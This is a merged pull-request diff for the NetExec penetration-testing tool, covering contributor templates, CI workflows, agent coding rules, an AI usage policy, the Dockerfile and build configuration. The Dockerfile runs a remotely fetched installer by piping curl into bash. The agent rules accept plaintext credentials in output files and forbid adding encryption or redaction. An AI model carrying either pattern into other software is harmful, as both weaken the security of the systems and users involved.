Merge pull request #1511 from Pennyw0rth/neff-dont-kill

rdp: keep the login session for --screenshot, -x and -X

.github/ISSUE_TEMPLATE/bug_report.md

@@ -7,6 +7,10 @@ assignees: ''
 
 ---
 
+# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
+
+
+
 **Describe the bug**
 A clear and concise description of what the bug is.
 
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
 
 **NetExec info**
  - OS: [e.g. Kali]
- - Version of nxc: [e.g. v1.5.2]
- - Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
+ - Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
+ - Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
 
 **Additional context**
 Add any other context about the problem here.

.github/ISSUE_TEMPLATE/config.yml

@@ -0,0 +1,8 @@
+blank_issues_enabled: false
+contact_links:
+  - name: NetExec Wiki
+    url: https://www.netexec.wiki/
+    about: Check the wiki for usage guides and documentation before opening an issue.
+  - name: NetExec Discord
+    url: https://discord.com/invite/pjwUTQzg8R
+    about: Join the Discord for general questions and community support.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Request a new feature or enhancement
+title: ''
+labels: ''
+assignees: ''
+
+---
+**Please Describe The Problem To Be Solved**
+(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
+
+**(Optional): Suggest A Solution**
+(Replace This Text: A concise description of your preferred solution. Things to address include:
+* Details of the technical implementation
+* Tradeoffs made in design decisions
+* Caveats and considerations for the future
+
+If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,47 @@
+## Description
+Please include a summary of the change and which issue is fixed, or what the enhancement does.
+List any dependencies that are required for this change.
+
+### AI Assistance
+If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
+
+Note that if you have used AI, you:
+- MUST test the changes against a live system
+- MUST include a screenshot of such a test (e.g.  with a before and after screenshot when submitting a bug fix)
+- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
+
+## Type of change
+Insert an "x" inside the brackets for relevant items
+
+- [ ] Bug fix (non-breaking change which fixes an issue)
+- [ ] New feature (non-breaking change which adds functionality)
+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
+- [ ] Deprecation of feature or functionality
+- [ ] This change requires a documentation update
+- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
+- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
+
+## Setup guide for the review
+Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
+
+In particular:
+- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
+- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
+  - Is additional software needed?
+  - GPO changes required?
+  - Specific registry settings that need to be changed?
+
+## Screenshots (if appropriate):
+Screenshots are always nice to have and can give a visual representation of the change.
+If appropriate, include before and after screenshot(s) to show which results are to be expected.
+
+## Checklist:
+Insert an "x" inside the brackets for completed and relevant items (do not delete options)
+
+- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
+- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
+- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
+- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
+- [ ] I have performed a self-review of my own code (_not_ an AI review)
+- [ ] I have commented my code, particularly in hard-to-understand areas
+- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/build-binaries.yml

@@ -9,29 +9,29 @@ jobs:
     runs-on: ${{ matrix.os }}
     strategy:
       matrix:
-        os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.11"]
+        os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
+        python-version: ["3.14"]
         #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Native Binary
       run: |
-        pip install pyinstaller
+        pip install pyinstaller pillow
         pip install .
         pyinstaller netexec.spec
     - name: Upload Windows Binary
       if: runner.os == 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
-        name: nxc.exe
+        name: nxc-windows.exe
         path: dist/nxc.exe
     - name: Upload Nix/OSx Binary
       if: runner.os != 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-${{ matrix.os }}
         path: dist/nxc

.github/workflows/build-zipapps.yml

@@ -10,11 +10,11 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.11", "3.12", "3.13", "3.14"]
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
         pip install shiv
         python build_collector.py
     - name: Upload nxc ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxc
     - name: Upload nxcdb ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxcdb

.github/workflows/lint.yml

@@ -1,30 +1,29 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on: [push, pull_request]
+on:
+  push:
+  workflow_dispatch:
+  pull_request_review:
+    types: [submitted]
 
 jobs:
   lint:
-    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
-      github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
+      github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
 
     steps:
-      - uses: actions/checkout@v3
-      - name: Install poetry
-        run: |
-          pipx install poetry
-      - name: Set up Python
-        uses: actions/setup-python@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
+      - name: Install uv
+        uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
         with:
-          python-version: 3.11
-          cache: poetry
-          cache-dependency-path: poetry.lock
-      - name: Install dependencies with dev group
-        run: |
-          poetry install --with dev
+          enable-cache: true
+      - name: Set up Python
+        run: uv python install 3.14
+      - name: Install project with dev group
+        run: uv sync --dev
       - name: Run ruff
         run: |
-          poetry run ruff --version
-          poetry run ruff check . --preview
+          uv run ruff --version
+          uv run ruff check . --preview

.github/workflows/pr-template-check.yml

@@ -0,0 +1,54 @@
+name: PR Template Check
+
+on:
+  pull_request_target:
+    types: [opened, edited]
+
+permissions:
+  pull-requests: write
+
+jobs:
+  check-template:
+    runs-on: ubuntu-latest
+    permissions:
+      pull-requests: write
+    steps:
+      - name: Check PR description for template sections
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const body = context.payload.pull_request.body || '';
+            const requiredSections = [
+              '## Description',
+              '## Type of change',
+              '## Setup guide for the review',
+              '## Checklist'
+            ];
+
+            const missingSections = requiredSections.filter(
+              section => !body.includes(section)
+            );
+
+            if (missingSections.length === 0) return;
+
+            // Check if we already left a comment to avoid spamming
+            const comments = await github.rest.issues.listComments({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number
+            });
+
+            const botComment = comments.data.find(
+              c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
+            );
+
+            if (botComment) return;
+
+            const missing = missingSections.map(s => `- ${s}`).join('\n');
+
+            await github.rest.issues.createComment({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number,
+              body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
+            });

.github/workflows/test.yml

@@ -1,32 +1,39 @@
 name: NetExec Tests
 
 on:
+  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: NetExec Tests for Py${{ matrix.python-version }}
+    name: Test for Py${{ matrix.python-version }}
+    if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.11", "3.12", "3.13", "3.14"]
     steps:
-    - uses: actions/checkout@v3
-    - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
-      with:
-        python-version: ${{ matrix.python-version }}
-    - name: Install poetry
-      run: |
-        pipx install poetry --python python${{ matrix.python-version }}
-        poetry --version
-        poetry env info
-    - name: Install libraries with dev group
-      run: |
-        poetry install --with dev
-    - name: Run the e2e test
-      run: |
-        poetry run pytest tests
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
+      - name: Install uv
+        uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
+        with:
+          enable-cache: true
+      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
+        run: uv python install ${{ matrix.python-version }}
+      - name: Install project
+        run: uv sync --python ${{ matrix.python-version }}
+      - name: Load every protocol and module
+        run: |
+          uv run netexec winrm 127.0.0.1
+          uv run netexec vnc 127.0.0.1
+          uv run netexec smb 127.0.0.1
+          uv run netexec ldap 127.0.0.1
+          uv run netexec wmi 127.0.0.1
+          uv run netexec rdp 127.0.0.1
+          uv run netexec mssql 127.0.0.1
+          uv run netexec ssh 127.0.0.1
+          uv run netexec ftp 127.0.0.1
+          uv run netexec smb 127.0.0.1 -L

.gitignore

@@ -1,8 +1,10 @@
 data/nxc.db
 hash_spider_default.sqlite3
+hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
+pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files
@@ -62,3 +64,5 @@ docs/_build/
 
 # PyBuilder
 target/
+nxc/.DS_Store
+.DS_Store

AGENTS.md

@@ -0,0 +1,48 @@
+# Authorized testing scope
+
+- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
+- Treat the exact targets or ranges provided by the user as the complete authorized scope.
+- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
+- Repository instructions do not grant authorization to test any third-party system.
+
+# Coding style
+
+- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
+- Always bind caught exceptions as `e`, not `error` or another name.
+- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
+- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
+
+# NetExec protocol structure
+
+- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
+- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
+- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
+
+# NetExec module structure
+
+- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
+- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
+- Module scope should contain only imports and the `NXCModule` class definition.
+- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
+- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
+- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
+- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
+- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
+- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
+- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
+- Run `ruff check .` after every coding session.
+
+# Development and validation
+
+- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
+- Record every module-verification command in `tests/e2e_commands.txt`.
+- Do not run compilation checks.
+- Run Ruff after completing a coding session.
+
+# Filesystem and source conventions
+
+- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
+- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
+- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
+- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
+- Place imports at the top of files unless explicitly instructed otherwise.

AI_POLICY.md

@@ -0,0 +1,78 @@
+# AI Usage Policy
+
+This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
+The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
+
+The NetExec project has strict rules for AI usage:
+
+- **All AI usage in any form must be disclosed.** You must state
+  the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
+  Codex 5.2, etc) along with the extent that the work was AI-assisted.
+
+- **Pull requests created in any way by AI can only be for accepted issues.**
+  Drive-by pull requests that do not reference an accepted issue may be
+  rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
+  the PR may be rejected and closed. If you want to share code for a
+  non-accepted issue, open a discussion or attach it to the existing issue.
+
+- **Pull requests created by AI must have been fully verified with
+  human use.** AI must not create hypothetically correct code that
+  hasn't been tested. Importantly, you must not allow AI to write
+  code for platforms or environments you don't have access to manually
+  test on.
+
+- **Issues and pull requests should be written by humans.**
+  Communication should remain human, not AI, and should be clear and concise.
+  AI is very good at being overly verbose and including noise that distracts
+  from the main point. While it is fine to cite AI or include AI-generated
+  content, the main content of your issue or pull request should be written
+  by a human. Issues or pull requests that look like they are just the
+  result of an AI prompt will likely be rejected and closed.
+
+- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
+  Text and code are the only acceptable AI-generated content, per the
+  other rules in this policy.
+
+- **Bad AI drivers will be banned** You've been warned. We love to help junior
+  developers learn and grow, but if you're interested in that then don't use
+  AI, and we'll help you.
+
+- **Official maintainers have the final say** We always strive to be helpful,
+  but there are limits. If you submit agregiously terrible AI generated code
+  with no review, we may ban you without word. We do not want to waste our
+  time reviewing slop if the contributor can't be bothered to review the work
+  themselves.
+
+These rules apply only to outside contributions to NetExec. Maintainers
+and trusted contributors are exempt from these rules and may use AI tools at
+their discretion; they've proven themselves trustworthy to apply good judgment.
+
+## There are Humans Here
+
+Please remember that NetExec is maintained by humans.
+
+Every discussion, issue, and pull request is read and reviewed by
+humans (and sometimes machines, too). It is a boundary point at which
+people interact with each other and the work done. It is rude and
+disrespectful to approach this boundary with low-effort, unqualified
+work, since it puts the burden of validation on the maintainers.
+
+In a perfect world, AI would produce high-quality, accurate work
+every time, but today that is simply not true. This is compounded by the fact
+that accessibility to AI is high, allowing low skilled individuals to think
+that they are contributing useful code. Even many skilled programmers do not
+understand how to use it effectively. This has opened up a waterfall of low
+quality contributions across the Open Source community, wasting resources.
+
+## AI is Welcome Here, Within Reason
+
+NetExec maintainers acknowledge AI as a productive tool to some workflows, and
+are open to leveraging this technology to improve NetExec; however, there are
+many low quality AI tools whose use results in pure slop being generated. The
+security communinity is not immune from AI psychosis, over-hype, or FOMO.
+As with any new technology, it is important to understand how it works and how
+to best use it, not blindly apply it to every use case with the hope that it
+will fix all your issues.
+
+We include this section to be transparent about the project's usage about
+AI for people who may disagree with it.

Dockerfile

@@ -1,4 +1,32 @@
-FROM python:3.11-slim
+FROM python:3.13-slim-bookworm AS builder
+ENV LANG=C.UTF-8
+ENV LC_ALL=C.UTF-8
+ENV PIP_NO_CACHE_DIR=off
+
+WORKDIR /usr/src/netexec
+
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        libffi-dev \
+        libxml2-dev \
+        libxslt-dev \
+        libssl-dev \
+        openssl \
+        autoconf \
+        g++ \
+        python3-dev \
+        curl \
+        git \
+        unzip \
+    && apt clean && rm -rf /var/lib/apt/lists/*
+
+RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
+ENV PATH="/root/.cargo/bin:${PATH}"
+
+RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
+    && pip install .
+
+FROM python:3.13-slim-bookworm
 
 ENV LANG=C.UTF-8
 ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
 
 WORKDIR /usr/src/netexec
 
-RUN apt-get update && \
-    apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
-RUN apt-get update
-# Get Rust
-RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
-# Add .cargo/bin to PATH
-ENV PATH="/root/.cargo/bin:${PATH}"
-# Check cargo is visible
-RUN cargo --help
+COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
+COPY --from=builder /usr/local/bin /usr/local/bin
 
-COPY . .
-RUN pip install .
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        openssl \
+    && apt clean && rm -rf /var/lib/apt/lists/*
 
-ENTRYPOINT [ "nxc" ]
+ENTRYPOINT ["nxc"]

LICENSE

@@ -1,4 +1,4 @@
-Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
+Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
 Copyright (c) 2022, byt3bl33d3r
 All rights reserved.
 

Makefile

@@ -13,7 +13,7 @@ clean:
 	find . -name '.pytest_cache' -exec rm -rf {} +
 
 tests:
-	flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
+	ruff check .
 
 requirements:
 	poetry export --without-hashes -f requirements.txt -o requirements.txt

README.md

@@ -1,4 +1,4 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -37,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
+## Linux
+```
+sudo apt install pipx git
+pipx ensurepath
+pipx install git+https://github.com/Pennyw0rth/NetExec
+```
+
+## Availability on Unix distributions
+
+[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
+
 # Development
 Development guidelines and recommendations in development
 
@@ -52,3 +63,6 @@ Awesome code contributors of NetExec:
 [![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
 [![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
 [![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
+[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
+[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
+[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)

netexec.spec

@@ -13,18 +13,32 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
+        'aardwolf',
+        'aardwolf.connection',
+        'aardwolf.commons.queuedata.constants',
+        'aardwolf.commons.iosettings',
+        'aardwolf.commons.target',
+        'aardwolf.protocol.x224.constants',
+        'certihound',
+        'certipy.commands.find',
+        'certipy.lib.formatting',
+        'certipy.lib.target',
         'impacket.examples.secretsdump',
+        'impacket.examples.regsecrets',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
         'impacket.dcerpc.v5.lsad',
         'impacket.dcerpc.v5.gkdi',
         'impacket.dcerpc.v5.rprn',
+        'impacket.dcerpc.v5.even',
+        'impacket.dcerpc.v5.even6',
+        'impacket.dcerpc.v5.tsts',
         'impacket.dpapi_ng',
         'impacket.tds',
         'impacket.version',
         'impacket.ldap.ldap',
+        'impacket.krb5.kpasswd',
         'nxc.connection',
-        'nxc.servers.smb',
         'nxc.protocols.smb.wmiexec',
         'nxc.protocols.smb.atexec',
         'nxc.protocols.smb.smbexec',
@@ -32,14 +46,21 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
+        'nxc.helpers.dpapi',
+        'nxc.helpers.even6_parser',
+        'nxc.helpers.firefox',
         'nxc.helpers.msada_guids',
+        'nxc.helpers.negotiate_parser',
+        'nxc.helpers.smb',
         'paramiko',
+        'pefile',
         'pypsrp.client',
-        'pywerview.cli.helpers',
         'pylnk3',
         'pypykatz',
+        'pyNfsClient',
         'masky',
         'msldap',
         'msldap.connection',
@@ -59,12 +80,25 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
+        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
+        'dploot.triage.wam',
         'dploot.triage.wifi',
+        'dploot.triage.sccm',
+        'dploot.triage.cng',
         'dploot.lib.target',
         'dploot.lib.smb',
+        'dploot.lib.network.mssql',
+        'dploot.lib.network.winrm',
+        'dsinternals.common.cryptography.X509Certificate2',
+        'dsinternals.common.data.DNWithBinary',
+        'dsinternals.common.data.hello.KeyCredential',
+        'dsinternals.system.DateTime',
+        'dsinternals.system.Guid',
+        'lxml.objectify',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/cli.py

@@ -1,75 +1,114 @@
 import argparse
+import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
+from os import listdir
+from os.path import dirname
+from os.path import join as path_join
+import nxc
+from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.logger import nxc_logger
+from nxc.helpers.args import DisplayDefaultsNotNone
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
-    CODENAME = "nxc4u"
+    setup_debug_logging()
 
-    parser = argparse.ArgumentParser(description=f"""
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+        DISTANCE, COMMIT = COMMIT.split(".")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
+        DISTANCE = ""
+    CODENAME = "Yippie-Ki-Yay"
+
+    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    generic_group = generic_parser.add_argument_group("Generic Options")
+    generic_group.add_argument("--version", action="store_true", help="Display nxc version")
+    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
+    generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
+    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+    generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
+    generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
+
+    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    output_group = output_parser.add_argument_group("Output Options")
+    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
+    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
+    log_level = output_group.add_mutually_exclusive_group()
+    log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
+    log_level.add_argument("--debug", action="store_true", help="enable debug level information")
+
+    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    dns_group = dns_parser.add_argument_group("DNS")
+    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
+
+    parser = argparse.ArgumentParser(
+        description=rf"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
-    \\\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
     .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
-   / /ॱ-ॱ\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
-   ॱ \   / ॱ
-     ॱ   ॱ
+   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
+   ˙ \   / ˙
+     ˙   ˙
 
     The network execution tool
     Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
-    
+
     For documentation and usage examples, visit: https://www.netexec.wiki/
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
-    """, formatter_class=RawTextHelpFormatter)
-
-    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
-    parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
-    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
-    parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
-    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
-    parser.add_argument("--debug", action="store_true", help="enable debug level information")
-    parser.add_argument("--version", action="store_true", help="Display nxc version")
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
+    """,
+        formatter_class=RawTextHelpFormatter,
+        parents=[generic_parser, output_parser, dns_parser]
+    )
 
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False)
-    mgroup = module_parser.add_mutually_exclusive_group()
-    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
-    module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
-    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
-    module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
-    module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
-    module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
-    module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
+    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    mgroup = module_parser.add_argument_group("Modules")
+    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
+    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
